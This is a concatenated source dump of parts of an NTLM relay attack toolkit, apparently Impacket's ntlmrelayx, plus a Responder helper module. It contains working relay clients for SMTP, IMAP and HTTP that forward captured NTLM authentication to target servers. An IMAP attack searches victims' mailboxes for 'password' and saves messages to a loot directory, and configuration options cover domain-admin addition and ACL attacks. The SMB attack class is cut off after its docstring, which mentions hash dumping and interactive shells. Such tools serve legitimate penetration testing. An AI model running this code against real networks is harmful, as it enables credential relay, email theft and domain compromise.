26 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"]
27 |
28 | class SMTPRelayClient(ProtocolClient):
29 | PLUGIN_NAME = "SMTP"
30 |
31 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ):
32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
33 |
34 | def initConnection(self):
35 | self.session = smtplib.SMTP(self.targetHost,self.targetPort)
36 | # Turn on to debug SMTP messages
37 | # self.session.debuglevel = 3
38 | self.session.ehlo()
39 |
40 | if 'AUTH NTLM' not in self.session.ehlo_resp:
41 | LOG.error('SMTP server does not support NTLM authentication!')
42 | return False
43 | return True
44 |
45 | def sendNegotiate(self,negotiateMessage):
46 | negotiate = base64.b64encode(negotiateMessage)
47 | self.session.putcmd('AUTH NTLM')
48 | code, resp = self.session.getreply()
49 | if code != 334:
50 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp))
51 | return False
52 | else:
53 | self.session.putcmd(negotiate)
54 | try:
55 | code, serverChallengeBase64 = self.session.getreply()
56 | serverChallenge = base64.b64decode(serverChallengeBase64)
57 | challenge = NTLMAuthChallenge()
58 | challenge.fromString(serverChallenge)
59 | return challenge
60 | except (IndexError, KeyError, AttributeError):
61 | LOG.error('No NTLM challenge returned from SMTP server')
62 | raise
63 |
64 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
65 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
66 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
67 | token = respToken2['ResponseToken']
68 | else:
69 | token = authenticateMessageBlob
70 | auth = base64.b64encode(token)
71 | self.session.putcmd(auth)
72 | typ, data = self.session.getreply()
73 | if typ == 235:
74 | self.session.state = 'AUTH'
75 | return None, STATUS_SUCCESS
76 | else:
77 | LOG.error('SMTP: %s' % ''.join(data))
78 | return None, STATUS_ACCESS_DENIED
79 |
80 | def killConnection(self):
81 | if self.session is not None:
82 | self.session.close()
83 | self.session = None
84 |
85 | def keepAlive(self):
86 | # Send a NOOP
87 | self.session.noop()
88 |
--------------------------------------------------------------------------------
/ntlmrelayx/attacks/imapattack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # IMAP Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # IMAP protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | import re
19 | import os
20 | from impacket import LOG
21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
22 |
23 | PROTOCOL_ATTACK_CLASS = "IMAPAttack"
24 |
25 | class IMAPAttack(ProtocolAttack):
26 | """
27 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder
28 | for messages with "password" in the header or body. Alternate keywords can be specified
29 | on the command line. For more advanced attacks, consider using the SOCKS feature.
30 | """
31 | PLUGIN_NAMES = ["IMAP", "IMAPS"]
32 | def run(self):
33 | #Default action: Search the INBOX
34 | targetBox = self.config.mailbox
35 | result, data = self.client.select(targetBox,True) #True indicates readonly
36 | if result != 'OK':
37 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data))
38 | LOG.info('Opening mailbox INBOX')
39 | targetBox = 'INBOX'
40 | result, data = self.client.select(targetBox,True) #True indicates readonly
41 | inboxCount = int(data[0])
42 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))
43 | #If we should not dump all, search for the keyword
44 | if not self.config.dump_all:
45 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)
46 | #Check if search worked
47 | if result != 'OK':
48 | LOG.error('Search failed: %s' % rawdata)
49 | return
50 | dumpMessages = []
51 | #message IDs are separated by spaces
52 | for msgs in rawdata:
53 | dumpMessages += msgs.split(' ')
54 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
55 | dumpMessages = dumpMessages[:self.config.dump_max]
56 | else:
57 | #Dump all mails, up to the maximum number configured
58 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
59 | dumpMessages = range(1, inboxCount+1)
60 | else:
61 | dumpMessages = range(1, self.config.dump_max+1)
62 |
63 | numMsgs = len(dumpMessages)
64 | if numMsgs == 0:
65 | LOG.info('No messages were found containing the search keywords')
66 | else:
67 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))
68 | for i, msgIndex in enumerate(dumpMessages):
69 | #Fetch the message
70 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')
71 | if result != 'OK':
72 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))
73 | continue
74 |
75 | #Replace any special chars in the mailbox name and username
76 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
77 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)
78 |
79 | #Combine username with mailboxname and mail number
80 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
81 |
82 | #Write it to the file
83 | with open(os.path.join(self.config.lootdir,fileName),'w') as of:
84 | of.write(rawMessage[0][1])
85 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))
86 |
87 | #Close connection cleanly
88 | self.client.logout()
89 |
--------------------------------------------------------------------------------
/llmnrpoison/odict.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder, a network take-over set of tools
3 | # created and maintained by Laurent Gaffie.
4 | # email: laurent.gaffie@gmail.com
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | from UserDict import DictMixin
18 |
19 | class OrderedDict(dict, DictMixin):
20 |
21 | def __init__(self, *args, **kwds):
22 | if len(args) > 1:
23 | raise TypeError('expected at most 1 arguments, got %d' % len(args))
24 | try:
25 | self.__end
26 | except AttributeError:
27 | self.clear()
28 | self.update(*args, **kwds)
29 |
30 | def clear(self):
31 | self.__end = end = []
32 | end += [None, end, end]
33 | self.__map = {}
34 | dict.clear(self)
35 |
36 | def __setitem__(self, key, value):
37 | if key not in self:
38 | end = self.__end
39 | curr = end[1]
40 | curr[2] = end[1] = self.__map[key] = [key, curr, end]
41 | dict.__setitem__(self, key, value)
42 |
43 | def __delitem__(self, key):
44 | dict.__delitem__(self, key)
45 | key, prev, next = self.__map.pop(key)
46 | prev[2] = next
47 | next[1] = prev
48 |
49 | def __iter__(self):
50 | end = self.__end
51 | curr = end[2]
52 | while curr is not end:
53 | yield curr[0]
54 | curr = curr[2]
55 |
56 | def __reversed__(self):
57 | end = self.__end
58 | curr = end[1]
59 | while curr is not end:
60 | yield curr[0]
61 | curr = curr[1]
62 |
63 | def popitem(self, last=True):
64 | if not self:
65 | raise KeyError('dictionary is empty')
66 | if last:
67 | key = reversed(self).next()
68 | else:
69 | key = iter(self).next()
70 | value = self.pop(key)
71 | return key, value
72 |
73 | def __reduce__(self):
74 | items = [[k, self[k]] for k in self]
75 | tmp = self.__map, self.__end
76 | del self.__map, self.__end
77 | inst_dict = vars(self).copy()
78 | self.__map, self.__end = tmp
79 | if inst_dict:
80 | return self.__class__, (items,), inst_dict
81 | return self.__class__, (items,)
82 |
83 | def keys(self):
84 | return list(self)
85 |
86 | setdefault = DictMixin.setdefault
87 | update = DictMixin.update
88 | pop = DictMixin.pop
89 | values = DictMixin.values
90 | items = DictMixin.items
91 | iterkeys = DictMixin.iterkeys
92 | itervalues = DictMixin.itervalues
93 | iteritems = DictMixin.iteritems
94 |
95 | def __repr__(self):
96 | if not self:
97 | return '%s()' % (self.__class__.__name__,)
98 | return '%s(%r)' % (self.__class__.__name__, self.items())
99 |
100 | def copy(self):
101 | return self.__class__(self)
102 |
103 | @classmethod
104 | def fromkeys(cls, iterable, value=None):
105 | d = cls()
106 | for key in iterable:
107 | d[key] = value
108 | return d
109 |
110 | def __eq__(self, other):
111 | if isinstance(other, OrderedDict):
112 | return len(self)==len(other) and \
113 | min(p==q for p, q in zip(self.items(), other.items()))
114 | return dict.__eq__(self, other)
115 |
116 | def __ne__(self, other):
117 | return not self == other
118 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Protocol Client Base Class definition
8 | #
9 | # Author:
10 | # Alberto Solino (@agsolino)
11 | #
12 | # Description:
13 | # Defines a base class for all clients + loads all available modules
14 | #
15 | # ToDo:
16 | #
17 | import os, sys, pkg_resources
18 | from impacket import LOG
19 |
20 | PROTOCOL_CLIENTS = {}
21 |
22 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc)
23 | # Besides using this base class you need to define one global variable when
24 | # writing a plugin for protocol clients:
25 | # PROTOCOL_CLIENT_CLASS = ""
26 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
27 | class ProtocolClient:
28 | PLUGIN_NAME = 'PROTOCOL'
29 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True):
30 | self.serverConfig = serverConfig
31 | self.targetHost = target.hostname
32 | # A default target port is specified by the subclass
33 | if target.port is not None:
34 | # We override it by the one specified in the target
35 | self.targetPort = target.port
36 | else:
37 | self.targetPort = targetPort
38 | self.target = target
39 | self.extendedSecurity = extendedSecurity
40 | self.session = None
41 | self.sessionData = {}
42 |
43 | def initConnection(self):
44 | raise RuntimeError('Virtual Function')
45 |
46 | def killConnection(self):
47 | raise RuntimeError('Virtual Function')
48 |
49 | def sendNegotiate(self, negotiateMessage):
50 | # Charged of sending the type 1 NTLM Message
51 | raise RuntimeError('Virtual Function')
52 |
53 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
54 | # Charged of sending the type 3 NTLM Message to the Target
55 | raise RuntimeError('Virtual Function')
56 |
57 | def sendStandardSecurityAuth(self, sessionSetupData):
58 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set
59 | raise RuntimeError('Virtual Function')
60 |
61 | def getSession(self):
62 | # Should return the active session for the relayed connection
63 | raise RuntimeError('Virtual Function')
64 |
65 | def getSessionData(self):
66 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the
67 | # answers from the original server)
68 | return self.sessionData
69 |
70 | def getStandardSecurityChallenge(self):
71 | # Should return the Challenge returned by the server when Extended Security is not set
72 | # This should only happen with against old Servers. By default we return None
73 | return None
74 |
75 | def keepAlive(self):
76 | # Charged of keeping connection alive
77 | raise RuntimeError('Virtual Function')
78 |
79 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'):
80 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc':
81 | continue
82 | __import__(__package__ + '.' + os.path.splitext(file)[0])
83 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]]
84 | try:
85 | pluginClasses = set()
86 | try:
87 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'):
88 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES:
89 | pluginClasses.add(getattr(module, pluginClass))
90 | else:
91 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))
92 | except Exception, e:
93 | LOG.debug(e)
94 | pass
95 |
96 | for pluginClass in pluginClasses:
97 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)
98 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass
99 | except Exception, e:
100 | LOG.debug(str(e))
101 |
102 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/imaprelayclient.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2003-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # IMAP Protocol Client
8 | #
9 | # Author:
10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11 | # Alberto Solino (@agsolino)
12 | #
13 | # Description:
14 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange
15 | #
16 | import imaplib
17 | import base64
18 | from struct import unpack
19 |
20 | from impacket import LOG
21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
23 | from impacket.ntlm import NTLMAuthChallenge
24 | from impacket.spnego import SPNEGO_NegTokenResp
25 |
26 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"]
27 |
28 | class IMAPRelayClient(ProtocolClient):
29 | PLUGIN_NAME = "IMAP"
30 |
31 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ):
32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
33 |
34 | def initConnection(self):
35 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort)
36 | self.authTag = self.session._new_tag()
37 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
38 | if 'AUTH=NTLM' not in self.session.capabilities:
39 | LOG.error('IMAP server does not support NTLM authentication!')
40 | return False
41 | return True
42 |
43 | def sendNegotiate(self,negotiateMessage):
44 | negotiate = base64.b64encode(negotiateMessage)
45 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))
46 | resp = self.session.readline().strip()
47 | if resp != '+':
48 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)
49 | return False
50 | else:
51 | self.session.send(negotiate + imaplib.CRLF)
52 | try:
53 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char
54 | serverChallenge = base64.b64decode(serverChallengeBase64)
55 | challenge = NTLMAuthChallenge()
56 | challenge.fromString(serverChallenge)
57 | return challenge
58 | except (IndexError, KeyError, AttributeError):
59 | LOG.error('No NTLM challenge returned from IMAP server')
60 | raise
61 |
62 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
63 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
64 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
65 | token = respToken2['ResponseToken']
66 | else:
67 | token = authenticateMessageBlob
68 | auth = base64.b64encode(token)
69 | self.session.send(auth + imaplib.CRLF)
70 | typ, data = self.session._get_tagged_response(self.authTag)
71 | if typ == 'OK':
72 | self.session.state = 'AUTH'
73 | return None, STATUS_SUCCESS
74 | else:
75 | LOG.error('IMAP: %s' % ' '.join(data))
76 | return None, STATUS_ACCESS_DENIED
77 |
78 | def killConnection(self):
79 | if self.session is not None:
80 | self.session.logout()
81 | self.session = None
82 |
83 | def keepAlive(self):
84 | # Send a NOOP
85 | self.session.noop()
86 |
87 | class IMAPSRelayClient(IMAPRelayClient):
88 | PLUGIN_NAME = "IMAPS"
89 |
90 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ):
91 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
92 |
93 | def initConnection(self):
94 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)
95 | self.authTag = self.session._new_tag()
96 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
97 | if 'AUTH=NTLM' not in self.session.capabilities:
98 | LOG.error('IMAP server does not support NTLM authentication!')
99 | return False
100 | return True
101 |
--------------------------------------------------------------------------------
/ntlmrelayx/utils/config.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Config utilities
8 | #
9 | # Author:
10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # Configuration class which holds the config specified on the
14 | # command line, this can be passed to the tools' servers and clients
15 | class NTLMRelayxConfig:
16 | def __init__(self):
17 |
18 | self.daemon = True
19 |
20 | # Set the value of the interface ip address
21 | self.interfaceIp = None
22 |
23 | self.domainIp = None
24 | self.machineAccount = None
25 | self.machineHashes = None
26 | self.target = None
27 | self.mode = None
28 | self.redirecthost = None
29 | self.outputFile = None
30 | self.attacks = None
31 | self.lootdir = None
32 | self.randomtargets = False
33 | self.encoding = None
34 | self.ipv6 = False
35 |
36 | #WPAD options
37 | self.serve_wpad = False
38 | self.wpad_host = None
39 | self.wpad_auth_num = 0
40 | self.smb2support = False
41 |
42 | #WPAD options
43 | self.serve_wpad = False
44 | self.wpad_host = None
45 | self.wpad_auth_num = 0
46 | self.smb2support = False
47 |
48 | # SMB options
49 | self.exeFile = None
50 | self.command = None
51 | self.interactive = False
52 | self.enumLocalAdmins = False
53 |
54 | # LDAP options
55 | self.dumpdomain = True
56 | self.addda = True
57 | self.aclattack = True
58 | self.escalateuser = None
59 |
60 | # MSSQL options
61 | self.queries = []
62 |
63 | # Registered protocol clients
64 | self.protocolClients = {}
65 |
66 | # SOCKS options
67 | self.runSocks = False
68 | self.socksServer = None
69 |
70 |
71 | def setSMB2Support(self, value):
72 | self.smb2support = value
73 |
74 | def setProtocolClients(self, clients):
75 | self.protocolClients = clients
76 |
77 | def setInterfaceIp(self, ip):
78 | self.interfaceIp = ip
79 |
80 | def setRunSocks(self, socks, server):
81 | self.runSocks = socks
82 | self.socksServer = server
83 |
84 | def setOutputFile(self, outputFile):
85 | self.outputFile = outputFile
86 |
87 | def setTargets(self, target):
88 | self.target = target
89 |
90 | def setExeFile(self, filename):
91 | self.exeFile = filename
92 |
93 | def setCommand(self, command):
94 | self.command = command
95 |
96 | def setEnumLocalAdmins(self, enumLocalAdmins):
97 | self.enumLocalAdmins = enumLocalAdmins
98 |
99 | def setEncoding(self, encoding):
100 | self.encoding = encoding
101 |
102 | def setMode(self, mode):
103 | self.mode = mode
104 |
105 | def setAttacks(self, attacks):
106 | self.attacks = attacks
107 |
108 | def setLootdir(self, lootdir):
109 | self.lootdir = lootdir
110 |
111 | def setRedirectHost(self,redirecthost):
112 | self.redirecthost = redirecthost
113 |
114 | def setDomainAccount( self, machineAccount, machineHashes, domainIp):
115 | self.machineAccount = machineAccount
116 | self.machineHashes = machineHashes
117 | self.domainIp = domainIp
118 |
119 | def setRandomTargets(self, randomtargets):
120 | self.randomtargets = randomtargets
121 |
122 | def setLDAPOptions(self, dumpdomain, addda, aclattack, escalateuser):
123 | self.dumpdomain = dumpdomain
124 | self.addda = addda
125 | self.aclattack = aclattack
126 | self.escalateuser = escalateuser
127 |
128 | def setMSSQLOptions(self, queries):
129 | self.queries = queries
130 |
131 | def setInteractive(self, interactive):
132 | self.interactive = interactive
133 |
134 | def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max):
135 | self.keyword = keyword
136 | self.mailbox = mailbox
137 | self.dump_all = dump_all
138 | self.dump_max = dump_max
139 |
140 | def setIPv6(self, use_ipv6):
141 | self.ipv6 = use_ipv6
142 |
143 | def setWpadOptions(self, wpad_host, wpad_auth_num):
144 | if wpad_host != None:
145 | self.serve_wpad = True
146 | self.wpad_host = wpad_host
147 | self.wpad_auth_num = wpad_auth_num
148 |
--------------------------------------------------------------------------------
/ntlmrelayx/utils/targetsutils.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Target utilities
8 | #
9 | # Author:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # Classes for handling specified targets and keeping state of which targets have been processed
15 | # Format of targets are based in URI syntax
16 | # scheme://netloc/path
17 | # where:
18 | # scheme: the protocol to target (e.g. 'smb', 'mssql', 'all')
19 | # netloc: int the form of domain\username@host:port (domain\username and port are optional, and don't forget
20 | # to escape the '\')
21 | # path: only used by specific attacks (e.g. HTTP attack).
22 | #
23 | # Some examples:
24 | #
25 | # smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting
26 | # mssql://contoso.com\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\joe is
27 | # connecting.
28 | #
29 | # ToDo:
30 | # [ ]: Expand the ALL:// to all the supported protocols
31 |
32 |
33 | import os
34 | import random
35 | import time
36 | from urlparse import urlparse
37 | from impacket import LOG
38 | from threading import Thread
39 |
40 |
41 | class TargetsProcessor:
42 | def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None):
43 | # Here we store the attacks that already finished, mostly the ones that have usernames, since the
44 | # other ones will never finish.
45 | self.finishedAttacks = []
46 | self.protocolClients = protocolClients
47 | if targetListFile is None:
48 | self.filename = None
49 | self.originalTargets = self.processTarget(singleTarget, protocolClients)
50 | else:
51 | self.filename = targetListFile
52 | self.originalTargets = []
53 | self.readTargets()
54 |
55 | self.candidates = [x for x in self.originalTargets]
56 |
57 | @staticmethod
58 | def processTarget(target, protocolClients):
59 | # Check if we have a single target, with no URI form
60 | if target.find('://') <= 0:
61 | # Target is a single IP, assuming it's SMB.
62 | return [urlparse('smb://%s' % target)]
63 |
64 | # Checks if it needs to expand the list if there's a all://*
65 | retVals = []
66 | if target[:3].upper() == 'ALL':
67 | strippedTarget = target[3:]
68 | for protocol in protocolClients:
69 | retVals.append(urlparse('%s%s' % (protocol, strippedTarget)))
70 | return retVals
71 | else:
72 | return [urlparse(target)]
73 |
74 | def readTargets(self):
75 | try:
76 | with open(self.filename,'r') as f:
77 | self.originalTargets = []
78 | for line in f:
79 | target = line.strip()
80 | if target is not None:
81 | self.originalTargets.extend(self.processTarget(target, self.protocolClients))
82 | except IOError, e:
83 | LOG.error("Could not open file: %s - " % (self.filename, str(e)))
84 |
85 | if len(self.originalTargets) == 0:
86 | LOG.critical("Warning: no valid targets specified!")
87 |
88 | self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks]
89 |
90 | def logTarget(self, target, gotRelay = False):
91 | # If the target has a username, we can safely remove it from the list. Mission accomplished.
92 | if gotRelay is True:
93 | if target.username is not None:
94 | self.finishedAttacks.append(target)
95 |
96 | def getTarget(self, choose_random=False):
97 | if len(self.candidates) > 0:
98 | if choose_random is True:
99 | return random.choice(self.candidates)
100 | else:
101 | return self.candidates.pop()
102 | else:
103 | if len(self.originalTargets) > 0:
104 | self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks]
105 | else:
106 | #We are here, which means all the targets are already exhausted by the client
107 | LOG.info("All targets processed!")
108 |
109 | return self.candidates.pop()
110 |
111 | class TargetsFileWatcher(Thread):
112 | def __init__(self,targetprocessor):
113 | Thread.__init__(self)
114 | self.targetprocessor = targetprocessor
115 | self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime
116 | #print self.lastmtime
117 |
118 | def run(self):
119 | while True:
120 | mtime = os.stat(self.targetprocessor.filename).st_mtime
121 | if mtime > self.lastmtime:
122 | LOG.info('Targets file modified - refreshing')
123 | self.lastmtime = mtime
124 | self.targetprocessor.readTargets()
125 | time.sleep(1.0)
126 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/httprelayclient.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2003-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # HTTP Protocol Client
8 | #
9 | # Author:
10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11 | # Alberto Solino (@agsolino)
12 | #
13 | # Description:
14 | # HTTP(s) client for relaying NTLMSSP authentication to webservers
15 | #
16 | import re
17 | import ssl
18 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady
19 | import base64
20 |
21 | from struct import unpack
22 | from impacket import LOG
23 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
24 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
25 | from impacket.ntlm import NTLMAuthChallenge
26 | from impacket.spnego import SPNEGO_NegTokenResp
27 |
28 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"]
29 |
30 | class HTTPRelayClient(ProtocolClient):
31 | PLUGIN_NAME = "HTTP"
32 |
33 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ):
34 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
35 | self.extendedSecurity = extendedSecurity
36 | self.negotiateMessage = None
37 | self.authenticateMessageBlob = None
38 | self.server = None
39 |
40 | def initConnection(self):
41 | self.session = HTTPConnection(self.targetHost,self.targetPort)
42 | self.lastresult = None
43 | if self.target.path == '':
44 | self.path = '/'
45 | else:
46 | self.path = self.target.path
47 | return True
48 |
49 | def sendNegotiate(self,negotiateMessage):
50 | #Check if server wants auth
51 | self.session.request('GET', self.path)
52 | res = self.session.getresponse()
53 | res.read()
54 | if res.status != 401:
55 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
56 | try:
57 | if 'NTLM' not in res.getheader('WWW-Authenticate'):
58 | LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
59 | return False
60 | except (KeyError, TypeError):
61 | LOG.error('No authentication requested by the server for url %s' % self.targetHost)
62 | return False
63 |
64 | #Negotiate auth
65 | negotiate = base64.b64encode(negotiateMessage)
66 | headers = {'Authorization':'NTLM %s' % negotiate}
67 | self.session.request('GET', self.path ,headers=headers)
68 | res = self.session.getresponse()
69 | res.read()
70 | try:
71 | serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
72 | serverChallenge = base64.b64decode(serverChallengeBase64)
73 | challenge = NTLMAuthChallenge()
74 | challenge.fromString(serverChallenge)
75 | return challenge
76 | except (IndexError, KeyError, AttributeError):
77 | LOG.error('No NTLM challenge returned from server')
78 |
79 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
80 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
81 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
82 | token = respToken2['ResponseToken']
83 | else:
84 | token = authenticateMessageBlob
85 | auth = base64.b64encode(token)
86 | headers = {'Authorization':'NTLM %s' % auth}
87 | self.session.request('GET', self.path,headers=headers)
88 | res = self.session.getresponse()
89 | if res.status == 401:
90 | return None, STATUS_ACCESS_DENIED
91 | else:
92 | LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)
93 | #Cache this
94 | self.lastresult = res.read()
95 | return None, STATUS_SUCCESS
96 |
97 | def killConnection(self):
98 | if self.session is not None:
99 | self.session.close()
100 | self.session = None
101 |
102 | def keepAlive(self):
103 | # Do a HEAD for favicon.ico
104 | self.session.request('HEAD','/favicon.ico')
105 | self.session.getresponse()
106 |
107 | class HTTPSRelayClient(HTTPRelayClient):
108 | PLUGIN_NAME = "HTTPS"
109 |
110 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ):
111 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
112 |
113 | def initConnection(self):
114 | self.lastresult = None
115 | if self.target.path == '':
116 | self.path = '/'
117 | else:
118 | self.path = self.target.path
119 | try:
120 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
121 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context)
122 | except AttributeError:
123 | self.session = HTTPSConnection(self.targetHost,self.targetPort)
124 | return True
125 |
126 |
--------------------------------------------------------------------------------
/ntlmrelayx/attacks/smbattack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # SMB Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # Defines a base class for all attacks + loads all available modules
15 | #
16 | # ToDo:
17 | #
18 | from impacket import LOG
19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
20 | from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
21 | from impacket import smb3, smb
22 | from impacket.examples import serviceinstall
23 | from impacket.smbconnection import SMBConnection
24 | from impacket.examples.smbclient import MiniImpacketShell
25 | from impacket.dcerpc.v5.rpcrt import DCERPCException
26 |
27 | PROTOCOL_ATTACK_CLASS = "SMBAttack"
28 |
29 | class SMBAttack(ProtocolAttack):
30 | """
31 | This is the SMB default attack class.
32 | It will either dump the hashes from the remote target, or open an interactive
33 | shell if the -i option is specified.
34 | """
35 | PLUGIN_NAMES = ["SMB"]
36 | def __init__(self, config, SMBClient, username):
37 | ProtocolAttack.__init__(self, config, SMBClient, username)
